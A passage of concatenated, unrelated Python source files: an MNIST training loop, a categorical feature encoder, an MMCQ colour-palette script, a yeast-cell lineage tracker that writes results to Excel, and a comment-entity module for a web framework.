    td, vd = load_and_split_mnist_dataset()
    train_dataloaders = {}
    valid_dataloaders = {}
    for i in range(10):
        train_dataloaders[i] = DataLoader(
            td[i], batch_size=64, shuffle=True, **kwargs)
        valid_dataloaders[i] = DataLoader(
            vd[i], batch_size=64, shuffle=True, **kwargs)

    for i in range(10):
        learner = Learner(train_dataloaders[i], valid_dataloaders[i])
        learner.learn(10)
        learner.save(f"./model/subenv_{i}")


from sklearn import preprocessing
import pandas as pd

class CategoricalFeature:
    def __init__(self, df, categorical_features, encoding_type, handle_na=False):
        """
        :param df: pandas dataframe
        :param categorical_features: list of column names e.g. ['ord_1','ord_2'......]
        :param encoding_type: label,binary

        """
        self.df = df
        self.cat_features = categorical_features
        self.enc_type = encoding_type
        self.handle_na = handle_na
        self.label_encoders = dict()
        self.binary_encoders = dict()
        self.ohe = dict()

        if handle_na:
            for c in self.cat_features:
                self.df.loc[:, c] = self.df.loc[:, c].astype(str).fillna('-9999999999999999999')
            self.output_df = self.df.copy(deep=True)

    def _label_encoding_(self):

        for c in self.cat_features:
            lbl = preprocessing.LabelEncoder()
            lbl.fit(self.output_df[c].values)
            self.output_df.loc[:, c] = lbl.transform(self.output_df[c].values)

            self.label_encoders[c] = lbl

        if 'Unnamed: 0' in self.output_df.columns:
            self.output_df.drop(self.output_df.filter(regex="Unnamed"), axis=1, inplace=True)
        return self.output_df

    def _label_binarization(self):
        for c in self.cat_features:
            lbl = preprocessing.LabelBinarizer()
            lbl.fit(self.output_df[c].values)
            val = lbl.transform(self.output_df[c].values)  # Array
            self.output_df = self.output_df.drop(c, axis=1)
            for j in range(val.shape[1]):
                new_col_name = c + f"__bin_{j}"
                self.output_df[new_col_name] = val[:, j]
            self.binary_encoders[c] = lbl

        if 'Unnamed: 0' in self.output_df.columns:
            self.output_df.drop(self.output_df.filter(regex="Unnamed"), axis=1, inplace=True)
        return self.output_df

    def _one_hot(self):
        dummies = pd.get_dummies(self.output_df[self.cat_features], drop_first=True)
        dataframe = pd.concat([self.output_df, dummies], axis=1)
        dataframe.drop(self.cat_features, axis=1, inplace=True)
        if 'Unnamed: 0' in dataframe.columns:
            dataframe.drop(dataframe.filter(regex="Unnamed"), axis=1, inplace=True)
        return dataframe

    def fit_transform(self):
        if self.enc_type == 'label':
            return self._label_encoding_()
        elif self.enc_type == 'binary':
            return self._label_binarization()
        elif self.enc_type == 'ohe':
            return self._one_hot()
        else:
            raise Exception('Encoding type unknown')
    #
    # def transform(self, dataframe):
    #     if self.handle_na:
    #         for c in self.cat_features:
    #             dataframe.loc[:, c] = dataframe.loc[:, c].astype(str).fillna("-999999999")
    #     if self.enc_type == 'label':
    #         for c, lbl in self.label_encoders.items():
    #             dataframe.loc[:, c] = lbl.transform(dataframe[c].values)
    #         return dataframe
    #     elif self.enc_type == 'binary':
    #         print(self.binary_encoders.items())
    #         for c, lbl in self.binary_encoders.items():
    #             print(c)
    #             val = lbl.transform(dataframe[c].values)
    #             dataframe = dataframe.drop(c, axis=1)
    #             for j in range(val.shape[1]):
    #                 new_col_name = c + f"__bin_{j}"
    #                 self.dataframe[new_col_name] = val[:, j]
    #             print(dataframe)
    #         return dataframe
    #     else:
    #         raise Exception('Encoding type not understood')


import numpy as np
from matplotlib import pyplot as plt
from skimage.transform import resize
from os.path import join

from utils.quantisation.mmcq import mmcq

VERBOSE = 1

imsource = "../../images"
image_name = "kth_campus.jpg"
image_path = join(imsource, image_name)
target_scale = 1/1
n_colours = 8

#
# load image and prepare pixel data
#
if VERBOSE >= 1: print("loading and preparing image...")
image = plt.imread(image_path)
image = resize(image, (int(image.shape[0]*target_scale), int(image.shape[1]*target_scale), image.shape[2]))
if VERBOSE >= 2:
    print(image.shape)
    print(image[0,0,:])

#
# Use MMCQ to produce colour scheme.
# Note that due to how MMCQ works, the number of components should be 2^x for some integer x.
#
if VERBOSE >= 1: print("running MMCQ algorithm...")
colours = mmcq(image, n_colours)

#
# display resulting colours
#
if VERBOSE >= 1: print("displaying colours...")
colours = np.asarray(colours)
colours = np.reshape(colours, (colours.shape[0], 1, colours.shape[1]))
if VERBOSE >= 2: print(colours[0, 0, :])

plt.imshow(colours)
plt.show()


'''
Author: Daniel Kaptijn
Date: 05/05/2021
PyVersion: 3.7.6

Aim: Using available data predict a yeast cells mother cell
'''

import pandas as pd
from math import sqrt
from numpy import std
import statistics
import matplotlib.pyplot as plt

df = pd.read_excel("cell detections.xlsx")

"""sample contains two cells that appear after frame 0, one is a FP"""
sample = df.loc[0:101,:]

"""The distance a cell can be in order to be considered the mother cell"""
DISTANCE = 30
NO_FRAMES = 10

"""Create first entries in a dictionary called mother_dict with the cells from frame 0 above a cut-off size"""
"""cells not present in frame 0 are added to a list called cells_to_check along with the frame they first appear in and their mother cell will be determined"""
print("Creating dictionaries for data..")
mother_dict = {}
cells_to_check = []
cell_sizes_dict = {}
# appear_frame = df.groupby("cell")['frame'].min()
# cell_area = df.groupby("cell")['area'].min()
first_frame_area = df.drop_duplicates(subset=['cell'])
first_frame_area = first_frame_area.filter(items=["cell","frame","area"])
first_frame_area = first_frame_area.sort_values(["cell","frame"])
first_frame_area.index = [i for i in range(len(first_frame_area))]
for i in range(len(first_frame_area)):
    if first_frame_area["frame"][i] == 0 and first_frame_area["area"][i] >= 150:
        mother_dict[str(i)] = "None"
        cell_sizes_dict[str(i)] = first_frame_area["area"][i]
    else:
        cells_to_check.append([i,first_frame_area["frame"][i]])
        cell_sizes_dict[str(i)] = first_frame_area["area"][i]

"""possible_mothers is a dictionary showing the cells likely to be a cells mother: key=cell, value=possible mother(s)"""
print("Calculating possible mother cells..")
possible_mothers = {}
for cell in cells_to_check:
    possible_mothers[str(cell[0])] = [] # Creates a new key in the possible_mothers dictionary
    temp = df[df["frame"]==cell[1]] # a subset of the initial dataframe containing all the data from the frame the cell appeared in
    temp = temp.sort_values("cell") # put them in numerical order (e.g. cell 0 will be first)
    temp.index = [i for i in range(len(temp["cell"]))] # A new index needs to be set
    for i in temp["cell"]:
        new_cell = temp[temp["cell"]==cell[0]] # this is the cell we want to determine the mother of
        new_cell.index = [i for i in range(len(new_cell["cell"]))]
        other_cell = temp[temp["cell"]==i] # this is another cell in the same frame that could be the mother cell
        other_cell.index = [i for i in range(len(other_cell["cell"]))]
        if other_cell["area"][0] < 200 or other_cell["cell"].values[0] == new_cell["cell"].values[0]: # Ensure small cells not considered for mother cells, also cell can't consider itself as a mother cell
            continue
        if ( sqrt( (other_cell["x"][0]-new_cell["x"][0])**2 + (other_cell["y"][0]-new_cell["y"][0])**2 ) ) < DISTANCE:
            possible_mothers[str(cell[0])].append(other_cell["cell"][0])

"""For cells with more than one possible mother cell further analysis is done on the distance over time"""
print("Calculating most likely mother cell from groups..")
distances_dict = {}
for key in possible_mothers:
    if len(possible_mothers[key]) < 1: # These are cells that had no identified nearby adult cells
        if (key) not in mother_dict:
            mother_dict[key] = "Unknown"
    if len(possible_mothers[key]) >= 1:
        for i in cells_to_check:
            if str(i[0]) == key:
                frames = [j for j in range(i[1],i[1]+NO_FRAMES)]
                cells = [int(key)] + possible_mothers[key]
                df_slice = df[df["frame"].isin(frames)]
                df_slice = df_slice[df_slice["cell"].isin(cells)]
                for frame in frames:
                    df_frame = df_slice[df_slice["frame"]==frame]
                    for cell in cells:
                        if cell != cells[0]:
                            if str(cells[0]) not in distances_dict: # Create dictionary within dictionary with daughter cell as the key for outer dictionary
                                distances_dict[str(cells[0])] = {}
                            if str(cell) not in distances_dict[str(cells[0])]: # each candidate mother cell is a key for the inner dictionary with the value being the distances between the daughter and candidate cell
                                distances_dict[str(cells[0])][str(cell)] = []
                            try: # If the cell isn't detected in a frame no distance can be calculated
                                x_dist = (df_frame[df_frame["cell"]==cell]["x"].array[0]-df_frame[df_frame["cell"]==cells[0]]["x"].array[0])**2
                                y_dist = (df_frame[df_frame["cell"]==cell]["y"].array[0]-df_frame[df_frame["cell"]==cells[0]]["y"].array[0])**2
                                dist = sqrt(x_dist + y_dist)
                                distances_dict[str(cells[0])][str(cell)].append(dist)
                            except:
                                continue

"""Calculating The Mother Cell"""
for cell in possible_mothers:
    for key in distances_dict:
        if cell == key:
            temp_list = []
            for candidate in distances_dict[key]:
                unknown = False
                variance = 0 # A defined variance cut-off will remove unsuitable cells
                change = 0 # A defined distance change metric will remove unsuitable cells
                mean = statistics.mean(distances_dict[key][candidate])
                first = distances_dict[key][candidate][0]
                prev = first
                for value in distances_dict[key][candidate]:
                    variance += (value-mean)**2
                    change += (value-prev)
                    prev = value
                variance = variance/len(distances_dict[key][candidate])

                if variance < 10 and change > 0 and change < 10:
                    temp_list.append(candidate)

                if len(temp_list) == 0:
                    unknown = True
            # temp_list = [(i-1)**2 for i in temp_list]
            if unknown == False:
                mother_dict[cell] = temp_list[0]
            else:
                mother_dict[cell] = 'Unknown'

"""Creating dictionary for generations in order to create a column showing how many generations have reproduced"""
print("Creating data for excel..")
def Generations(key):
    new_key = str(mother_dict[key])
    return new_key

generations_dict = {}
for key in mother_dict: #go through every cell in the movie
    generation_found = False #boolian to allow for later loop that can calculate generations indefinitely
    if mother_dict[key] == "None": #"None" are the original cells in the movie (generation 0)
        generation_found = True
        generations_dict[key] = 0
    elif mother_dict[key] == "Unknown": #If mother was unknoen it is impossible to find a generation (likely FP)
        generation_found = True
        generations_dict[key] = "Unknown"
    else:
        next_key = key #as each value is a mother cell we can use this value to find the mother of the mother cell until we get to "None"
        generation = 0
        while generation_found==False:
            generation += 1
            if generation > 10: # in cases where 2 cells have each other as a mother cell creating an infinite loop
                generation_found = True
                generations_dict[key] = "Unknown"
            try:
                next_key = Generations(next_key)
                if mother_dict[next_key] == "None":
                    generation_found = True
                    generations_dict[key] = generation
            except:
                generation_found = True
                generations_dict[key] = "Unknown"

"""
List of Outputs:
-mother_dict = The dictionary containing the cell ID and the ID of its mother (None means the cell existed in frame 0, unknown usually means cell was a FP)
-possible_mothers = The dictionary containing cells which had multiple mothers as options, contains each option as well
-distances_dict = The dictionary with the distance between a cell and each candidate mother cell
-generations_dict = The dictionary showing how many generations of cells have managed to produce a daughter cell
-cell_sizes_dict = The dictionary of the size of each cell when it was first detected
"""

"""Adding lineage to excel spreadsheet"""
print("Creating excel spreadsheet..")
cell = []
mother = []
for key in range(len(mother_dict)):
    cell.append(key)
    mother.append(mother_dict[str(key)])

new_col = {"cell":cell, "mother":mother}
new_col = pd.DataFrame(new_col)
df_merged = pd.merge(df, new_col)
df_merged = df_merged.sort_values(["frame","mask"])

"""Adding generations to excel spreadsheet"""
cell = []
generation = []
for key in range(len(generations_dict)):
    cell.append(key)
    generation.append(generations_dict[str(key)])

new_col = {"cell":cell, "generation":generation}
new_col = pd.DataFrame(new_col)
df_merged = pd.merge(df_merged, new_col)
df_merged = df_merged.sort_values(["frame","mask"])

saving = input("Do you want to save the output?: ")
if saving.lower() == "yes" or saving.lower() == "y":
    print("saving file as lineage detections.xlsx")
    df_merged.to_excel(r'lineage detections.xlsx', index = False)
if saving.lower() != "yes" and saving.lower() != "y":
    print("file not saved")

for key in mother_dict:
    print(key,f" mother cell: {mother_dict[key]}")

exit()
""" Making Plots of Pairwise Distance """
plt.style.use('seaborn-whitegrid')
fig = plt.figure()
ax = plt.axes()
# plt.plot(test, linestyle = "solid")
cell_count = 0
labelled_TP = False
labelled_FP = False
title = ""
# list_mother_cells = [10,4,5,3,0,1,7,9,10,13,6,0,13,4,3,5,2,2,8,16,19,1,7,9,10,3,13,12,6,25,4,15,12,16,17,32,5,28]
list_mother_cells = [9,7,3,5,1,8,2,8,9,0,10,3]
# list_daugh_cells_ID = [16,17,18,19,20,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,40,41,42,43,44,46,47,48,50,51,52,53,54,55,57,59,60]
list_daugh_cells_ID = [11,15,16,17,18,19,20,21,22,23,25,26]
for key in distances_dict:
    # if count == 88:
    #     print(key)
    #     plt.plot(distances_dict[key], linestyle = "solid", color = "blue")
    if int(key) in list_daugh_cells_ID:
        for candidate in distances_dict[key]:
            if candidate == str(list_mother_cells[cell_count]):
                first = distances_dict[key][str(list_mother_cells[cell_count])][0]
                mean = statistics.mean(distances_dict[key][candidate])
                median = statistics.median(distances_dict[key][candidate])
                variance = 0
                change = 0
                prev = first
                for i in distances_dict[key][candidate]:
                    variance += (i-mean)**2
                    change += (i-prev)
                    prev = i
                variance = variance/len(distances_dict[key][candidate])
                sd = sqrt(variance)
                # last = distances_dict[key][str(list_mother_cells[cell_count])][len(distances_dict[key][str(list_mother_cells[cell_count])]  )-1]
                # y = (last-first)/len(distances_dict[key][str(list_mother_cells[cell_count])])
                y = variance
                x = key
                # x = cell_sizes_dict[key]
                if labelled_TP == False:
                    plt.scatter(x, y, color="lime", label='Mother cell')
                    labelled_TP = True
                else:
                    plt.scatter(x, y, color = "lime")
                plt.text(x, y, candidate)
            else:
                first = distances_dict[key][candidate][0]
                mean = statistics.mean(distances_dict[key][candidate])
                median = statistics.median(distances_dict[key][candidate])
                variance = 0
                change = 0
                prev = first
                for i in distances_dict[key][candidate]:
                    variance += (i-mean)**2
                    change += (i-prev)
                    prev = i
                variance = variance/len(distances_dict[key][candidate])
                sd = sqrt(variance)
                # last = distances_dict[key][candidate][len(distances_dict[key][candidate]  )-1]
                # y = (last-first)/len(distances_dict[key][candidate])
                y = variance
                x = key
                # x = cell_sizes_dict[key]
                if labelled_FP == False:
                    plt.scatter(x, y, color="blue", label='Other cell')
                    labelled_FP = True
                else:
                    plt.scatter(x, y, color = "blue")
                plt.text(x, y, candidate)
        cell_count += 1
y = [10]*len(list_daugh_cells_ID)
plt.plot(y, "r--", color = "red", label="Chosen cut-off")
# y = [0]*len(list_daugh_cells_ID)
# plt.plot(y, "r--", color = "red")
title = "Variance of distance over 10 frames"
plt.title(title)
# plt.xlabel("Frame")
# plt.ylabel("Distance")
plt.xlabel("Daughter Cell")
plt.ylabel("Variance")
leg=ax.legend()
plt.show()


#-----------------------------------------------------------------------
#					Comment
#-----------------------------------------------------------------------

class Comment(In.entity.Entity):
	'''Comment Entity class.
	'''

	def __init__(self, data = None, items = None, **args):

		# default
		self.nabar_id = 0
		self.parent_id = 0
		self.container_id = 0
		self.level = 0
		self.parent_entity_type = ''
		self.parent_entity_id = 0

		super().__init__(data, items, **args)

		# TODO: move this logic to entitier

		if not self.parent_entity_type:

			container = IN.entitier.load_single('CommentContainer', self.container_id)

			if container:

				self.parent_entity_type = container.parent_entity_type
				self.parent_entity_id = container.parent_entity_id

#-----------------------------------------------------------------------
#					Comment Entitier
#-----------------------------------------------------------------------

@IN.register('Comment', type = 'Entitier')
class CommentEntitier(In.entity.EntityEntitier):
	'''Base Comment Entitier'''

	# Comment insert/update/delete hooks
	invoke_entity_hook = True

	# load all is very heavy
	entity_load_all = False

	def entity_context_links(self, entity, context_type, format, view_mode):

		entitier = IN.entitier

		# no view access
		if not entitier.access('view', entity):
			return

		id_suffix = '-'.join((entity.__type__, str(entity.id)))

		output = super().entity_context_links(entity, context_type, format, view_mode)

		if context_type == 'links':

			if entitier.access('edit', entity):

				edit = Object.new(type = 'Link', data = {
					'id' : 'edit-link-' + id_suffix,
					'css' : ['i-button i-button-small'],
					'value' : s('edit'),
					'href' : '/'.join(('/comment', str(entity.id), 'edit')),
					'weight' : 0,
					'attributes' : {
						'data-ajax_type' : 'POST',
					}
				})
				output[edit.id] = edit

			if entitier.access('delete', entity):
				delete = Object.new(type = 'Link', data = {
					'id' : 'delete-link-' + id_suffix,
					'css' : ['no-ajax ajax-modal i-button i-button-small i-float-right'], # no-ajax needed here or it bind twice
					'value' : s('delete'),
					'href' : '/'.join(('/comment', str(entity.id), 'delete', 'confirm')),
					'weight' : 1,
					'attributes' : {
						'data-ajax_type' : 'POST',
					}
				})
				output[delete.id] = delete

			if entitier.access('reply', entity):

				#db = IN.db

				#container = IN.entitier.load_single('CommentContainer', entity.container_id)

				#cursor = db.select({
					#'table' : 'entity.comment_container',
					#'where' : [['id', entity.container_id]]
				#}).execute()

				#if cursor.rowcount == 0:
					#return
				#row = cursor.fetchone()

				parent_entity_type = entity.parent_entity_type
				parent_entity_id = entity.parent_entity_id

				# allow reply only if level
				entity_bundle = IN.entitier.load_single(parent_entity_type, parent_entity_id).type
				config = IN.commenter.config_comments_enabled
				config = config.get(parent_entity_type, {}).get(entity_bundle, {})
				comment_level = config.get('data', {}).get('comment_level', 0)

				if entity.level < comment_level:
					edit = Object.new(type = 'TextDiv', data = {
						'id' : 'repli-link-' + id_suffix,
						'css' : ['ajax i-button i-button-small'],
						'value' : s('reply'),
						#'href' : '/comment/reply/!' + '/'.join((parent_entity_type, str(parent_entity_id), str(entity.id), str(entity.container_id))),
						'weight' : 3,
						'attributes' : {
							'data-ajax_type' : 'POST',
							'data-href' : '/comment/reply/!' + '/'.join((parent_entity_type, str(parent_entity_id), str(entity.id), str(entity.container_id))),
						},
					})
					output[edit.id] = edit

			#if entitier.access('delete', entity):

				#edit = Object.new(type = 'Link', data = {
					#'id' : 'delete-link-' + id_suffix,
					#'css' : ['ajax i-button'],
					#'value' : s('delete'),
					##'href' : s('#'),
					#'weight' : 1,
				#})
				#output[edit.id] = edit

		return output

	#def delete(self, entity, commit = True):
		#'''Recursively delete coments and its sub coments'''

		##result = entity.Model.delete(entity, commit)

		## Instead of delete and its all sub comments
		## just disable this comment only

		#try:

			#entity.Model.delete(entity, commit)

			## clear the cache
			#self.cacher.remove(entity.id)
			#if self.entity_load_all:
				#self.cacher.remove('all')

			## hook invoke
			#if self.invoke_entity_hook:
				#IN.hook_invoke('_'.join(('entity_delete', entity.__type__, entity.type)), entity)
				#IN.hook_invoke('entity_delete_' + entity.__type__, entity)

			## heavy. dont implement
			#IN.hook_invoke('__entity_delete__', entity)

			#return True

		#except Exception as e:
			#IN.logger.debug()
			#return False

#-----------------------------------------------------------------------
#					Comment Model
#-----------------------------------------------------------------------

@IN.register('Comment', type = 'Model')
class CommentModel(In.entity.EntityModel):
	'''Comment Model'''

	not_updatable_columns = ['id', 'type', 'created', 'container_id', 'parent_id', 'level']
	set_deleted_status = True

	#def delete(self, entity, commit = True):
		#'''Recursively delete coments and its sub coments'''

		##result = entity.Model.delete(entity, commit)

		## Instead of delete and its all sub comments
		## just disable this comment only

		## TODO: sub comment delete
		#connection = IN.db.connection

		#try:

			#table_info = self.model['table']
			#table = table_info['name']
			#columns = table_info['columns']

			#cursor = IN.db.update({
				#'table' : table,
				#'set' : [['status', self.status_deleted]],
				#'where' : ['id', int(entity.id)]
			#}).execute()

			#if commit: # if caller will not handle the commit
				#connection.commit()

		#except Exception as e:
			#if commit:
				#connection.rollback()
			#IN.logger.debug()
			#raise e # re raise

		#return True

#-----------------------------------------------------------------------
#					CommentContainer
#-----------------------------------------------------------------------

class CommentContainer(In.entity.Entity):
	'''CommentContainer Entity class.
	'''

	total_comments = 0

@IN.register('CommentContainer', type = 'Entitier')
class CommentContainerEntitier(In.entity.EntityEntitier):
	'''Base CommentContainer Entitier'''

@IN.register('CommentContainer', type = 'Model')
class CommentContainerModel(In.entity.EntityModel):
	'''CommentContainer Model'''

class CommentListLazy(In.core.lazy.HTMLObjectLazy):
	'''list of comments'''

	def __init__(self, data = None, items = None, **args):

		self.level = 0
		self.parent_id = 0

		super().__init__(data, items, **args)

		container_id = self.container_id
		parent_entity_type = self.parent_entity_type
		parent_entity_id = self.parent_entity_id
		level = self.level
		parent_id = self.parent_id

		# always set new id
		self.id = '_'.join(('CommentListLazy', parent_entity_type, str(parent_entity_id), str(parent_id)))

		if IN.context.request.ajax_lazy:

			entity = IN.entitier.load_single(parent_entity_type, parent_entity_id)

			if entity:

				db = IN.db
				connection = db.connection

				# TODO: paging
				# get total
				total = 0
				limit = 5
				cursor = db.select({
					'table' : 'entity.comment',
					'columns' : ['count(id)'],
					'where' : [
						['container_id', container_id],
						['parent_id', parent_id],
						['status', 1],
					],
				}).execute()
				if cursor.rowcount >= 0:
					total = int(cursor.fetchone()[0])

				if total > 0:
					cursor = db.select({
						'table' : 'entity.comment',
						'columns' : ['id'],
						'where' : [
							['container_id', container_id],
							['parent_id', parent_id],				# add main level comments only
							['status', 1],
						],
						'order' : {'created' : 'DESC'},
						'limit'	: limit,
					}).execute()

					ids = []
					last_id = 0
					if cursor.rowcount >= 0:
						for row in cursor:
							ids.append(row['id'])

						last_id = ids[-1] # last id

						comments = IN.entitier.load_multiple('Comment', ids)

						for id, comment in comments.items():
							comment.weight = id	# keep order
							self.add(comment)

					remaining = total - limit
					if remaining > 0 and  last_id > 0:
						self.add('TextDiv', {
							'id' : '_'.join(('more-commens', parent_entity_type, str(parent_entity_id), str(self.parent_id))),
							'value' : ' '.join((str(remaining), s('more comments'))),
							'css' : ['ajax i-text-center i-text-danger pointer'],
							'attributes' : {
								'data-href' : ''.join(('/comment/more/!Content/', str(parent_entity_id), '/', str(last_id), '/', str(self.parent_id)))
							},
							'weight' : -1
						})

		self.css.append('comment-list p2')

@IN.hook
def entity_model():
	# TODO: anonymous comments
	return {
		'Comment' : {						# entity name
			'table' : {						# table
				'name' : 'comment',
				'columns' : {				# table columns / entity attributes
					'id' : {},
					'type' : {},
					'created' : {},
					'status' : {},
					'nabar_id' : {},
					'parent_id' : {}, 		# nested comments
					'container_id' : {}, 	# comment container
					'level' : {},			# comment level
				},
				'keys' : {
					'primary' : 'id',
				},
			},
		},
		'CommentContainer' : {				# entity name
			'table' : {						# table
				'name' : 'comment_container',
				'columns' : {				# table columns / entity attributes
					'id' : {},
					'type' : {},
					'parent_entity_type' : {},
					'parent_entity_id' : {},
					'total_comments' : {}
				},
				'keys' : {
					'primary' : 'id',
				},
			},
		},
	}

@IN.register('Comment', type = 'Themer')
class CommentThemer(In.entity.EntityThemer):
	'''Comment themer'''

	def theme(self, obj, format, view_mode, args):

		obj.css.append('i-margin-small')

		if args['context'].request.ajax:
			super().theme(obj, format, view_mode, args)

	def theme_process_variables(self, obj, format, view_mode, args):

		if args['context'].request.ajax:

			#container = IN.entitier.load_single('CommentContainer', obj.container_id)
			# add comment sub list
			data = {
				'level' : obj.level + 1,
				'parent_id' : obj.id,
				'container_id' : obj.container_id,
				'parent_entity_type' : obj.parent_entity_type,
				'parent_entity_id' : obj.parent_entity_id
			}
			# lazy args
			data['lazy_args'] = {
				'load_args' : {
					'data' : {
						'level' : obj.level + 1,
						'parent_id' : obj.id,
						'container_id' : obj.container_id,
						'parent_entity_type' : obj.parent_entity_type,
						'parent_entity_id' : obj.parent_entity_id
					}
				}
			}

			sub_comment_list = Object.new(type = 'CommentListLazy', data = data)

			args['sub_comment_list'] = IN.themer.theme(sub_comment_list)

		super().theme_process_variables(obj, format, view_mode, args)

		#nabar = args['context'].nabar

		nabar = IN.entitier.load('Nabar', obj.nabar_id)

		args['nabar_name'] = nabar.name
		args['nabar_id'] = nabar.id
		args['nabar_picture'] = IN.nabar.nabar_profile_picture_themed(nabar)

#@IN.register('CommentContainer', type = 'Themer')
#class CommentContainerThemer(In.themer.ObjectThemer):
	#'''CommentContainer themer'''

@IN.register('CommentListLazy', type = 'Themer')
class CommentListLazyThemer(In.core.lazy.HTMLObjectLazyThemer):
	'''lazy themer'''